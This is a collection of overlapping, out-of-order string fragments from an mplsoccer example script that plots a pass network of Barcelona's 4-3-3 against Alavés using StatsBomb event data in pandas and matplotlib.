"10: 'CDM', 11: 'LDM', 12: 'RM', 13: 'RCM', 14: 'CM',",
"appended_passes = pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True) average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({ 'x': ['mean'],",
"team and match info, and get event and tactics dataframes",
"i.e. where players are subbed on # but the formation",
"= passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns') passes_between = passes_formation.groupby(['pos_min',",
"Set color to make the lines more transparent when fewer",
"to the events dataframe events = events.merge(players.rename({'player_id': 'pass_recipient_id'}, axis='columns'), on=['tactics_id',",
"max so we get passes both ways) passes_formation['pos_max'] = passes_formation[['position_abbreviation',",
"'pass_count'}, axis='columns', inplace=True) # add on the location of each",
"'y', 'count'] ############################################################################## # Group the passes by unique pairings",
"passer_passes recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation', 'end_x': 'x', 'end_y': 'y'}, axis='columns', inplace=True) #",
"'position_abbreviation']] .rename({'substitution_replacement_id': 'player_id'}, axis='columns')) players = pd.concat([players, players_sub]) players.rename({'id': 'tactics_id'},",
"{} Formation vs {}\".format(team, formation, opponent), size=28, y=0.97, color='#c7d5cc') fig.set_facecolor(\"#22312b\")",
"import to_rgba import numpy as np from mplsoccer.statsbomb import read_event,",
"the formation formation = 433 passes_formation = passes[(passes.tactics_formation == formation)",
"= (players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']] .rename({'substitution_replacement_id': 'player_id'}, axis='columns')) players = pd.concat([players,",
"pass_lines = pitch.lines(passes_between.x, passes_between.y, passes_between.x_end, passes_between.y_end, lw=passes_between.width, color=color, zorder=1, ax=ax)",
"events.loc[events.tactics_formation.notnull(), 'tactics_id'] = events.loc[ events.tactics_formation.notnull(), 'id'] events[['tactics_id', 'tactics_formation']] = events.groupby('team_name')[[",
"11: 'LDM', 12: 'RM', 13: 'RCM', 14: 'CM', 15: 'LCM',",
"plot passes between players in a set formation. \"\"\" import",
"= passes_between.pass_count / passes_between.pass_count.max() * max_line_width average_locs_and_count['marker_size'] = (average_locs_and_count['count'] /",
"the events dataframe events = events.merge(players.rename({'player_id': 'pass_recipient_id'}, axis='columns'), on=['tactics_id', 'pass_recipient_id'],",
"left_on='pos_max', right_index=True, suffixes=['', '_end']) ############################################################################## # Calculate the line width",
"'tactics_id'}, axis='columns', inplace=True) players = players[['tactics_id', 'player_id', 'position_abbreviation']] ############################################################################## #",
"s=average_locs_and_count.marker_size, color='red', edgecolors='black', linewidth=1, alpha=1, ax=ax) for index, row in",
"axis='columns'), on=['id', 'player_id'], how='inner', validate='1:1') players_sub = (players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']]",
"recipient_passes = passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy() # rename columns to match",
"'CM', 15: 'LCM', 16: 'LM', 17: 'RW', 18: 'RAM', 19:",
"we get passes both ways) passes_formation['pos_max'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min']",
"'end_y': 'y'}, axis='columns', inplace=True) # create a new dataframe containing",
"the start and end positions of the lines passes_between =",
"'position_abbreviation', 'end_x': 'x', 'end_y': 'y'}, axis='columns', inplace=True) # create a",
"Add player position information to the events dataframe # add",
"= event_dict['tactics_lineup'] events = event_dict['event'] ############################################################################## # Adding on the",
"fewer passes are made min_transparency = 0.3 color = np.array(to_rgba('white'))",
"passes by unique pairings of players and add the avg",
"subsitutions to the players dataframe, i.e. where players are subbed",
"dataframe formation_dict = {1: 'GK', 2: 'RB', 3: 'RCB', 4:",
"events dataframe events = events.merge(players, on=['tactics_id', 'player_id'], how='left', validate='m:1') #",
"{} in match: '.format(team), passes['tactics_formation'].unique()) ############################################################################## # Filter passes by",
"/ passes_between.pass_count.max() * max_line_width average_locs_and_count['marker_size'] = (average_locs_and_count['count'] / average_locs_and_count['count'].max() *",
"= ax.set_title(\"{} {} Formation vs {}\".format(team, formation, opponent), size=28, y=0.97,",
"'GK', 2: 'RB', 3: 'RCB', 4: 'CB', 5: 'LCB', 6:",
"2018/19 La Liga' event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False) players = event_dict['tactics_lineup']",
"25: 'SS'} players['position_abbreviation'] = players.player_position_id.map(formation_dict) ############################################################################## # Add on the",
"number of passes between each position (using min/ max so",
"location of each player so we have the start and",
"players = pd.concat([players, players_sub]) players.rename({'id': 'tactics_id'}, axis='columns', inplace=True) players =",
"'substitution_replacement_id', 'substitution_replacement_name']] players_sub = players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'), on=['id', 'player_id'], how='inner',",
"'outcome_name', 'pass_recipient_id', 'pass_recipient_name', 'x', 'y', 'end_x', 'end_y', 'tactics_id', 'tactics_formation', 'position_abbreviation',",
"get passes both ways) passes_formation['pos_max'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min'] =",
"(1 - min_transparency)) + min_transparency color[:, 3] = c_transparency ##############################################################################",
"the defined match_id match_id = 15946 team = 'Barcelona' opponent",
"when fewer passes are made min_transparency = 0.3 color =",
"lines passes_between = passes_between.merge(average_locs_and_count, left_on='pos_min', right_index=True) passes_between = passes_between.merge(average_locs_and_count, left_on='pos_max',",
"lines more transparent when fewer passes are made min_transparency =",
"(players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']] .rename({'substitution_replacement_id': 'player_id'}, axis='columns')) players = pd.concat([players, players_sub])",
"passes both ways) passes_formation['pos_max'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min'] = passes_formation[['position_abbreviation',",
"############################################################################## # Add on the subsitutions to the players dataframe,",
"= passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy() # rename columns to match those",
"24: 'LCF', 25: 'SS'} players['position_abbreviation'] = players.player_position_id.map(formation_dict) ############################################################################## # Add",
"'id'}, axis='columns'), on=['id', 'player_id'], how='inner', validate='1:1') players_sub = (players_sub[['id', 'substitution_replacement_id',",
"suffixes=['', '_receipt']) ############################################################################## # Create dataframes for passes and player",
"chosen formation, then group all passes and receipts to #",
"'LCB', 6: 'LB', 7: 'RWB', 8: 'LWB', 9: 'RDM', 10:",
"passes_formation['pos_min'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns') passes_between = passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index() passes_between.rename({'id': 'pass_count'},",
"== 'Substitution', ['tactics_id', 'player_id', 'substitution_replacement_id', 'substitution_replacement_name']] players_sub = players.merge(sub.rename({'tactics_id': 'id'},",
"max_marker_size) ############################################################################## # Set color to make the lines more",
"from passes_formation appended_passes = pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True) average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({",
"= events.loc[ events.tactics_formation.notnull(), 'id'] events[['tactics_id', 'tactics_formation']] = events.groupby('team_name')[[ 'tactics_id', 'tactics_formation']].ffill()",
"to the largest counts max_line_width = 18 max_marker_size = 3000",
"# create a new dataframe containing all individual passes and",
"add on the position the receipient was playing in the",
"each slot in the formation formation = 433 passes_formation =",
"'count'] ############################################################################## # Group the passes by unique pairings of",
"subbed on # but the formation doesn't change sub =",
"player positions to this dataframe # calculate the number of",
"20: 'LAM', 21: 'LW', 22: 'RCF', 23: 'ST', 24: 'LCF',",
"right_index=True, suffixes=['', '_end']) ############################################################################## # Calculate the line width and",
"'LW', 22: 'RCF', 23: 'ST', 24: 'LCF', 25: 'SS'} players['position_abbreviation']",
"= Pitch(pitch_type='statsbomb', orientation='horizontal', pitch_color='#22312b', line_color='#c7d5cc', figsize=(16, 11), constrained_layout=True, tight_layout=False) fig,",
"'player_id', 'player_name', 'outcome_name', 'pass_recipient_id', 'pass_recipient_name', 'x', 'y', 'end_x', 'end_y', 'tactics_id',",
"Pitch from matplotlib.colors import to_rgba import numpy as np from",
".rename({'substitution_replacement_id': 'player_id'}, axis='columns')) players = pd.concat([players, players_sub]) players.rename({'id': 'tactics_id'}, axis='columns',",
"# add on the location of each player so we",
"the avg player positions to this dataframe # calculate the",
"average_locs_and_count.columns = ['x', 'y', 'count'] ############################################################################## # Group the passes",
"color = np.tile(color, (len(passes_between), 1)) c_transparency = passes_between.pass_count / passes_between.pass_count.max()",
"events[['tactics_id', 'tactics_formation']] = events.groupby('team_name')[[ 'tactics_id', 'tactics_formation']].ffill() ############################################################################## # Add the",
"team) & (events.type_name == 'Pass') to_keep = ['id', 'match_id', 'player_id',",
"of passes between each position (using min/ max so we",
"passes_between = passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index() passes_between.rename({'id': 'pass_count'}, axis='columns', inplace=True) # add",
"change sub = events.loc[events.type_name == 'Substitution', ['tactics_id', 'player_id', 'substitution_replacement_id', 'substitution_replacement_name']]",
"(c_transparency * (1 - min_transparency)) + min_transparency color[:, 3] =",
"match_id = 15946 team = 'Barcelona' opponent = 'Alavés (A),",
"events.loc[mask_pass, to_keep].copy() print('Formations used by {} in match: '.format(team), passes['tactics_formation'].unique())",
"= events.merge(players.rename({'player_id': 'pass_recipient_id'}, axis='columns'), on=['tactics_id', 'pass_recipient_id'], how='left', validate='m:1', suffixes=['', '_receipt'])",
"11), constrained_layout=True, tight_layout=False) fig, ax = pitch.draw() pass_lines = pitch.lines(passes_between.x,",
"passes_between.x_end, passes_between.y_end, lw=passes_between.width, color=color, zorder=1, ax=ax) pass_nodes = pitch.scatter(average_locs_and_count.x, average_locs_and_count.y,",
"# Plotting pitch = Pitch(pitch_type='statsbomb', orientation='horizontal', pitch_color='#22312b', line_color='#c7d5cc', figsize=(16, 11),",
"# Add the abbreviated player position to the players dataframe",
"on=['tactics_id', 'player_id'], how='left', validate='m:1') # add on the position the",
"formation, then group all passes and receipts to # calculate",
"18 max_marker_size = 3000 passes_between['width'] = passes_between.pass_count / passes_between.pass_count.max() *",
"validate='m:1', suffixes=['', '_receipt']) ############################################################################## # Create dataframes for passes and",
"the events dataframe # add on the position the player",
"as pd from mplsoccer.pitch import Pitch from matplotlib.colors import to_rgba",
"# rename columns to match those in passer_passes recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation',",
"############################################################################## # Create dataframes for passes and player locations #",
"events dataframe events = events.merge(players.rename({'player_id': 'pass_recipient_id'}, axis='columns'), on=['tactics_id', 'pass_recipient_id'], how='left',",
"= 433 passes_formation = passes[(passes.tactics_formation == formation) & (passes.position_abbreviation_receipt.notnull())].copy() passer_passes",
"players_sub]) players.rename({'id': 'tactics_id'}, axis='columns', inplace=True) players = players[['tactics_id', 'player_id', 'position_abbreviation']]",
"was playing in the formation to the events dataframe events",
"avg x, avg y, count of events for each slot",
"(average_locs_and_count['count'] / average_locs_and_count['count'].max() * max_marker_size) ############################################################################## # Set color to",
"read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False) players = event_dict['tactics_lineup'] events = event_dict['event'] ############################################################################## #",
"'player_name', 'outcome_name', 'pass_recipient_id', 'pass_recipient_name', 'x', 'y', 'end_x', 'end_y', 'tactics_id', 'tactics_formation',",
"############################################################################## # Plotting pitch = Pitch(pitch_type='statsbomb', orientation='horizontal', pitch_color='#22312b', line_color='#c7d5cc', figsize=(16,",
"'count']}) average_locs_and_count.columns = ['x', 'y', 'count'] ############################################################################## # Group the",
"and match info, and get event and tactics dataframes for",
"va='center', ha='center', size=16, weight='bold', ax=ax) title = ax.set_title(\"{} {} Formation",
"'Alavés (A), 2018/19 La Liga' event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False) players",
"validate='m:1') # add on the position the receipient was playing",
"containing all individual passes and receipts from passes_formation appended_passes =",
"'RAM', 19: 'CAM', 20: 'LAM', 21: 'LW', 22: 'RCF', 23:",
"by chosen formation, then group all passes and receipts to",
"max_line_width average_locs_and_count['marker_size'] = (average_locs_and_count['count'] / average_locs_and_count['count'].max() * max_marker_size) ############################################################################## #",
"in the formation formation = 433 passes_formation = passes[(passes.tactics_formation ==",
"formation doesn't change sub = events.loc[events.type_name == 'Substitution', ['tactics_id', 'player_id',",
"and get event and tactics dataframes for the defined match_id",
"events.loc[events.type_name == 'Substitution', ['tactics_id', 'player_id', 'substitution_replacement_id', 'substitution_replacement_name']] players_sub = players.merge(sub.rename({'tactics_id':",
"average_locs_and_count['marker_size'] = (average_locs_and_count['count'] / average_locs_and_count['count'].max() * max_marker_size) ############################################################################## # Set",
"5: 'LCB', 6: 'LB', 7: 'RWB', 8: 'LWB', 9: 'RDM',",
"warn=False) players = event_dict['tactics_lineup'] events = event_dict['event'] ############################################################################## # Adding",
"with all passes mask_pass = (events.team_name == team) & (events.type_name",
"np.array(to_rgba('white')) color = np.tile(color, (len(passes_between), 1)) c_transparency = passes_between.pass_count /",
"defined match_id match_id = 15946 team = 'Barcelona' opponent =",
"average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({ 'x': ['mean'], 'y': ['mean', 'count']}) average_locs_and_count.columns =",
"# add on the position the receipient was playing in",
"'player_id'}, axis='columns')) players = pd.concat([players, players_sub]) players.rename({'id': 'tactics_id'}, axis='columns', inplace=True)",
"match: '.format(team), passes['tactics_formation'].unique()) ############################################################################## # Filter passes by chosen formation,",
"player so we have the start and end positions of",
"events.loc[ events.tactics_formation.notnull(), 'id'] events[['tactics_id', 'tactics_formation']] = events.groupby('team_name')[[ 'tactics_id', 'tactics_formation']].ffill() ##############################################################################",
"position (using min/ max so we get passes both ways)",
"Add on the subsitutions to the players dataframe, i.e. where",
"zorder=1, ax=ax) pass_nodes = pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size, color='red', edgecolors='black', linewidth=1,",
"ax=ax) for index, row in average_locs_and_count.iterrows(): pitch.annotate(row.name, xy=(row.x, row.y), c='white',",
"'RDM', 10: 'CDM', 11: 'LDM', 12: 'RM', 13: 'RCM', 14:",
"'RM', 13: 'RCM', 14: 'CM', 15: 'LCM', 16: 'LM', 17:",
"'pass_recipient_id'], how='left', validate='m:1', suffixes=['', '_receipt']) ############################################################################## # Create dataframes for",
"validate='1:1') players_sub = (players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']] .rename({'substitution_replacement_id': 'player_id'}, axis='columns')) players",
"on=['tactics_id', 'pass_recipient_id'], how='left', validate='m:1', suffixes=['', '_receipt']) ############################################################################## # Create dataframes",
"and receipts to # calculate avg x, avg y, count",
"for the defined match_id match_id = 15946 team = 'Barcelona'",
"pass_nodes = pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size, color='red', edgecolors='black', linewidth=1, alpha=1, ax=ax)",
"'_end']) ############################################################################## # Calculate the line width and marker sizes",
"pitch_color='#22312b', line_color='#c7d5cc', figsize=(16, 11), constrained_layout=True, tight_layout=False) fig, ax = pitch.draw()",
"color to make the lines more transparent when fewer passes",
"how to plot passes between players in a set formation.",
"and tactics dataframes for the defined match_id match_id = 15946",
"on # but the formation doesn't change sub = events.loc[events.type_name",
"all individual passes and receipts from passes_formation appended_passes = pd.concat(objs=[passer_passes,",
"numpy as np from mplsoccer.statsbomb import read_event, EVENT_SLUG ############################################################################## #",
"id and formation for the team for each event events.loc[events.tactics_formation.notnull(),",
"# Set color to make the lines more transparent when",
"the team for each event events.loc[events.tactics_formation.notnull(), 'tactics_id'] = events.loc[ events.tactics_formation.notnull(),",
"and player locations # get a dataframe with all passes",
"passes_formation appended_passes = pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True) average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({ 'x':",
"create a new dataframe containing all individual passes and receipts",
"from mplsoccer.statsbomb import read_event, EVENT_SLUG ############################################################################## # Set team and",
"player was playing in the formation to the events dataframe",
"inplace=True) # add on the location of each player so",
"############################################################################## # Calculate the line width and marker sizes relative",
"############################################################################## # Group the passes by unique pairings of players",
"'tactics_formation', 'position_abbreviation', 'position_abbreviation_receipt'] passes = events.loc[mask_pass, to_keep].copy() print('Formations used by",
"9: 'RDM', 10: 'CDM', 11: 'LDM', 12: 'RM', 13: 'RCM',",
"= (events.team_name == team) & (events.type_name == 'Pass') to_keep =",
"events dataframe # add on the position the player was",
"'tactics_formation']].ffill() ############################################################################## # Add the abbreviated player position to the",
"'ST', 24: 'LCF', 25: 'SS'} players['position_abbreviation'] = players.player_position_id.map(formation_dict) ############################################################################## #",
"lw=passes_between.width, color=color, zorder=1, ax=ax) pass_nodes = pitch.scatter(average_locs_and_count.x, average_locs_and_count.y, s=average_locs_and_count.marker_size, color='red',",
"player position to the players dataframe formation_dict = {1: 'GK',",
"row.y), c='white', va='center', ha='center', size=16, weight='bold', ax=ax) title = ax.set_title(\"{}",
"# Group the passes by unique pairings of players and",
"# Create dataframes for passes and player locations # get",
"dataframes for passes and player locations # get a dataframe",
"max_line_width = 18 max_marker_size = 3000 passes_between['width'] = passes_between.pass_count /",
"matplotlib.colors import to_rgba import numpy as np from mplsoccer.statsbomb import",
"= pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True) average_locs_and_count = appended_passes.groupby('position_abbreviation').agg({ 'x': ['mean'], 'y':",
"marker sizes relative to the largest counts max_line_width = 18",
"min_transparency color[:, 3] = c_transparency ############################################################################## # Plotting pitch =",
"'tactics_formation']] = events.groupby('team_name')[[ 'tactics_id', 'tactics_formation']].ffill() ############################################################################## # Add the abbreviated",
"'player_id', 'position_abbreviation']] ############################################################################## # Add player position information to the",
"'y']].copy() recipient_passes = passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy() # rename columns to",
"title = ax.set_title(\"{} {} Formation vs {}\".format(team, formation, opponent), size=28,",
"4: 'CB', 5: 'LCB', 6: 'LB', 7: 'RWB', 8: 'LWB',",
"= passes[(passes.tactics_formation == formation) & (passes.position_abbreviation_receipt.notnull())].copy() passer_passes = passes_formation[['position_abbreviation', 'x',",
"Add the abbreviated player position to the players dataframe formation_dict",
"= passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index() passes_between.rename({'id': 'pass_count'}, axis='columns', inplace=True) # add on",
"have the start and end positions of the lines passes_between",
"in passer_passes recipient_passes.rename({'position_abbreviation_receipt': 'position_abbreviation', 'end_x': 'x', 'end_y': 'y'}, axis='columns', inplace=True)",
"receipts from passes_formation appended_passes = pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True) average_locs_and_count =",
"'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns') passes_between = passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index() passes_between.rename({'id':",
"passes_between = passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True, suffixes=['', '_end']) ############################################################################## # Calculate",
"'player_id'], how='inner', validate='1:1') players_sub = (players_sub[['id', 'substitution_replacement_id', 'position_abbreviation']] .rename({'substitution_replacement_id': 'player_id'},",
"so we have the start and end positions of the",
"from matplotlib.colors import to_rgba import numpy as np from mplsoccer.statsbomb",
"(passes.position_abbreviation_receipt.notnull())].copy() passer_passes = passes_formation[['position_abbreviation', 'x', 'y']].copy() recipient_passes = passes_formation[['position_abbreviation_receipt', 'end_x',",
"average_locs_and_count['count'].max() * max_marker_size) ############################################################################## # Set color to make the",
"left_on='pos_min', right_index=True) passes_between = passes_between.merge(average_locs_and_count, left_on='pos_max', right_index=True, suffixes=['', '_end']) ##############################################################################",
"'x', 'y']].copy() recipient_passes = passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy() # rename columns",
"pitch.draw() pass_lines = pitch.lines(passes_between.x, passes_between.y, passes_between.x_end, passes_between.y_end, lw=passes_between.width, color=color, zorder=1,",
"'LB', 7: 'RWB', 8: 'LWB', 9: 'RDM', 10: 'CDM', 11:",
"color='red', edgecolors='black', linewidth=1, alpha=1, ax=ax) for index, row in average_locs_and_count.iterrows():",
"pitch.annotate(row.name, xy=(row.x, row.y), c='white', va='center', ha='center', size=16, weight='bold', ax=ax) title",
"made min_transparency = 0.3 color = np.array(to_rgba('white')) color = np.tile(color,",
"'Pass') to_keep = ['id', 'match_id', 'player_id', 'player_name', 'outcome_name', 'pass_recipient_id', 'pass_recipient_name',",
"= players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'), on=['id', 'player_id'], how='inner', validate='1:1') players_sub =",
"# calculate avg x, avg y, count of events for",
"ax = pitch.draw() pass_lines = pitch.lines(passes_between.x, passes_between.y, passes_between.x_end, passes_between.y_end, lw=passes_between.width,",
"'RB', 3: 'RCB', 4: 'CB', 5: 'LCB', 6: 'LB', 7:",
"last tactics id and formation for the team for each",
"19: 'CAM', 20: 'LAM', 21: 'LW', 22: 'RCF', 23: 'ST',",
"players dataframe formation_dict = {1: 'GK', 2: 'RB', 3: 'RCB',",
"pairings of players and add the avg player positions to",
"= 15946 team = 'Barcelona' opponent = 'Alavés (A), 2018/19",
"'LAM', 21: 'LW', 22: 'RCF', 23: 'ST', 24: 'LCF', 25:",
"= read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False) players = event_dict['tactics_lineup'] events = event_dict['event'] ##############################################################################",
"formation to the events dataframe events = events.merge(players, on=['tactics_id', 'player_id'],",
"print('Formations used by {} in match: '.format(team), passes['tactics_formation'].unique()) ############################################################################## #",
"pd from mplsoccer.pitch import Pitch from matplotlib.colors import to_rgba import",
"== 'Pass') to_keep = ['id', 'match_id', 'player_id', 'player_name', 'outcome_name', 'pass_recipient_id',",
"the formation to the events dataframe events = events.merge(players, on=['tactics_id',",
"opponent = 'Alavés (A), 2018/19 La Liga' event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json',",
"and marker sizes relative to the largest counts max_line_width =",
"c_transparency = (c_transparency * (1 - min_transparency)) + min_transparency color[:,",
"= (c_transparency * (1 - min_transparency)) + min_transparency color[:, 3]",
"dataframe with all passes mask_pass = (events.team_name == team) &",
"players and add the avg player positions to this dataframe",
"each event events.loc[events.tactics_formation.notnull(), 'tactics_id'] = events.loc[ events.tactics_formation.notnull(), 'id'] events[['tactics_id', 'tactics_formation']]",
"\"\"\" import pandas as pd from mplsoccer.pitch import Pitch from",
"= {1: 'GK', 2: 'RB', 3: 'RCB', 4: 'CB', 5:",
"formation = 433 passes_formation = passes[(passes.tactics_formation == formation) & (passes.position_abbreviation_receipt.notnull())].copy()",
"'SS'} players['position_abbreviation'] = players.player_position_id.map(formation_dict) ############################################################################## # Add on the subsitutions",
"12: 'RM', 13: 'RCM', 14: 'CM', 15: 'LCM', 16: 'LM',",
"add on the location of each player so we have",
"locations # get a dataframe with all passes mask_pass =",
"############################################################################## # Filter passes by chosen formation, then group all",
"ax.set_title(\"{} {} Formation vs {}\".format(team, formation, opponent), size=28, y=0.97, color='#c7d5cc')",
"the lines more transparent when fewer passes are made min_transparency",
"the line width and marker sizes relative to the largest",
"21: 'LW', 22: 'RCF', 23: 'ST', 24: 'LCF', 25: 'SS'}",
"group all passes and receipts to # calculate avg x,",
"passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns') passes_between = passes_formation.groupby(['pos_min', 'pos_max']).id.count().reset_index() passes_between.rename({'id': 'pass_count'}, axis='columns', inplace=True)",
"axis='columns')) players = pd.concat([players, players_sub]) players.rename({'id': 'tactics_id'}, axis='columns', inplace=True) players",
"['id', 'match_id', 'player_id', 'player_name', 'outcome_name', 'pass_recipient_id', 'pass_recipient_name', 'x', 'y', 'end_x',",
"passes_formation[['position_abbreviation', 'x', 'y']].copy() recipient_passes = passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy() # rename",
"'x': ['mean'], 'y': ['mean', 'count']}) average_locs_and_count.columns = ['x', 'y', 'count']",
"formation for the team for each event events.loc[events.tactics_formation.notnull(), 'tactics_id'] =",
"formation_dict = {1: 'GK', 2: 'RB', 3: 'RCB', 4: 'CB',",
"* max_line_width average_locs_and_count['marker_size'] = (average_locs_and_count['count'] / average_locs_and_count['count'].max() * max_marker_size) ##############################################################################",
"============ This example shows how to plot passes between players",
"weight='bold', ax=ax) title = ax.set_title(\"{} {} Formation vs {}\".format(team, formation,",
"axis='columns', inplace=True) # add on the location of each player",
"tactics dataframes for the defined match_id match_id = 15946 team",
"passes = events.loc[mask_pass, to_keep].copy() print('Formations used by {} in match:",
"= 3000 passes_between['width'] = passes_between.pass_count / passes_between.pass_count.max() * max_line_width average_locs_and_count['marker_size']",
"receipts to # calculate avg x, avg y, count of",
"passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy() # rename columns to match those in",
"dataframes for the defined match_id match_id = 15946 team =",
"by unique pairings of players and add the avg player",
"# Add player position information to the events dataframe #",
"ways) passes_formation['pos_max'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns') passes_between",
"to this dataframe # calculate the number of passes between",
"position the player was playing in the formation to the",
"shows how to plot passes between players in a set",
"{1: 'GK', 2: 'RB', 3: 'RCB', 4: 'CB', 5: 'LCB',",
"passer_passes = passes_formation[['position_abbreviation', 'x', 'y']].copy() recipient_passes = passes_formation[['position_abbreviation_receipt', 'end_x', 'end_y']].copy()",
"passes_formation = passes[(passes.tactics_formation == formation) & (passes.position_abbreviation_receipt.notnull())].copy() passer_passes = passes_formation[['position_abbreviation',",
"add on the position the player was playing in the",
"row in average_locs_and_count.iterrows(): pitch.annotate(row.name, xy=(row.x, row.y), c='white', va='center', ha='center', size=16,",
"passes_formation['pos_max'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns') passes_between =",
"a set formation. \"\"\" import pandas as pd from mplsoccer.pitch",
"the abbreviated player position to the players dataframe formation_dict =",
"get a dataframe with all passes mask_pass = (events.team_name ==",
"count of events for each slot in the formation formation",
"largest counts max_line_width = 18 max_marker_size = 3000 passes_between['width'] =",
"formation. \"\"\" import pandas as pd from mplsoccer.pitch import Pitch",
"the players dataframe, i.e. where players are subbed on #",
"the last tactics id and formation for the team for",
"position the receipient was playing in the formation to the",
"of each player so we have the start and end",
"= ['id', 'match_id', 'player_id', 'player_name', 'outcome_name', 'pass_recipient_id', 'pass_recipient_name', 'x', 'y',",
"'tactics_id', 'tactics_formation', 'position_abbreviation', 'position_abbreviation_receipt'] passes = events.loc[mask_pass, to_keep].copy() print('Formations used",
"suffixes=['', '_end']) ############################################################################## # Calculate the line width and marker",
"players_sub = players.merge(sub.rename({'tactics_id': 'id'}, axis='columns'), on=['id', 'player_id'], how='inner', validate='1:1') players_sub",
"make the lines more transparent when fewer passes are made",
"passes_between.pass_count / passes_between.pass_count.max() c_transparency = (c_transparency * (1 - min_transparency))",
"average_locs_and_count.iterrows(): pitch.annotate(row.name, xy=(row.x, row.y), c='white', va='center', ha='center', size=16, weight='bold', ax=ax)",
"to plot passes between players in a set formation. \"\"\"",
"a dataframe with all passes mask_pass = (events.team_name == team)",
"dataframe events = events.merge(players, on=['tactics_id', 'player_id'], how='left', validate='m:1') # add",
"'match_id', 'player_id', 'player_name', 'outcome_name', 'pass_recipient_id', 'pass_recipient_name', 'x', 'y', 'end_x', 'end_y',",
"to the players dataframe formation_dict = {1: 'GK', 2: 'RB',",
"passes and receipts from passes_formation appended_passes = pd.concat(objs=[passer_passes, recipient_passes], ignore_index=True)",
"both ways) passes_formation['pos_max'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].max(axis='columns') passes_formation['pos_min'] = passes_formation[['position_abbreviation', 'position_abbreviation_receipt']].min(axis='columns')",
"pitch = Pitch(pitch_type='statsbomb', orientation='horizontal', pitch_color='#22312b', line_color='#c7d5cc', figsize=(16, 11), constrained_layout=True, tight_layout=False)",
"'x', 'end_y': 'y'}, axis='columns', inplace=True) # create a new dataframe",
"Set team and match info, and get event and tactics",
"= pd.concat([players, players_sub]) players.rename({'id': 'tactics_id'}, axis='columns', inplace=True) players = players[['tactics_id',",
"avg player positions to this dataframe # calculate the number",
"for passes and player locations # get a dataframe with",
"Liga' event_dict = read_event(f'{EVENT_SLUG}/{match_id}.json', warn=False) players = event_dict['tactics_lineup'] events =",
"dataframe, i.e. where players are subbed on # but the",
"(len(passes_between), 1)) c_transparency = passes_between.pass_count / passes_between.pass_count.max() c_transparency = (c_transparency",
"player locations # get a dataframe with all passes mask_pass",
"['mean', 'count']}) average_locs_and_count.columns = ['x', 'y', 'count'] ############################################################################## # Group",
"in the formation to the events dataframe events = events.merge(players.rename({'player_id':",
"'player_id'], how='left', validate='m:1') # add on the position the receipient",
"match_id match_id = 15946 team = 'Barcelona' opponent = 'Alavés",
"events.groupby('team_name')[[ 'tactics_id', 'tactics_formation']].ffill() ############################################################################## # Add the abbreviated player position",
"'RCM', 14: 'CM', 15: 'LCM', 16: 'LM', 17: 'RW', 18:",
"mplsoccer.pitch import Pitch from matplotlib.colors import to_rgba import numpy as",
"15946 team = 'Barcelona' opponent = 'Alavés (A), 2018/19 La",
"are subbed on # but the formation doesn't change sub",
"to # calculate avg x, avg y, count of events",
"player position information to the events dataframe # add on",
"= events.loc[mask_pass, to_keep].copy() print('Formations used by {} in match: '.format(team),",
"the subsitutions to the players dataframe, i.e. where players are",
"to the players dataframe, i.e. where players are subbed on",
"on the position the receipient was playing in the formation",
"tight_layout=False) fig, ax = pitch.draw() pass_lines = pitch.lines(passes_between.x, passes_between.y, passes_between.x_end,",
"to_keep = ['id', 'match_id', 'player_id', 'player_name', 'outcome_name', 'pass_recipient_id', 'pass_recipient_name', 'x',",
"============ Pass Network ============ This example shows how to plot",
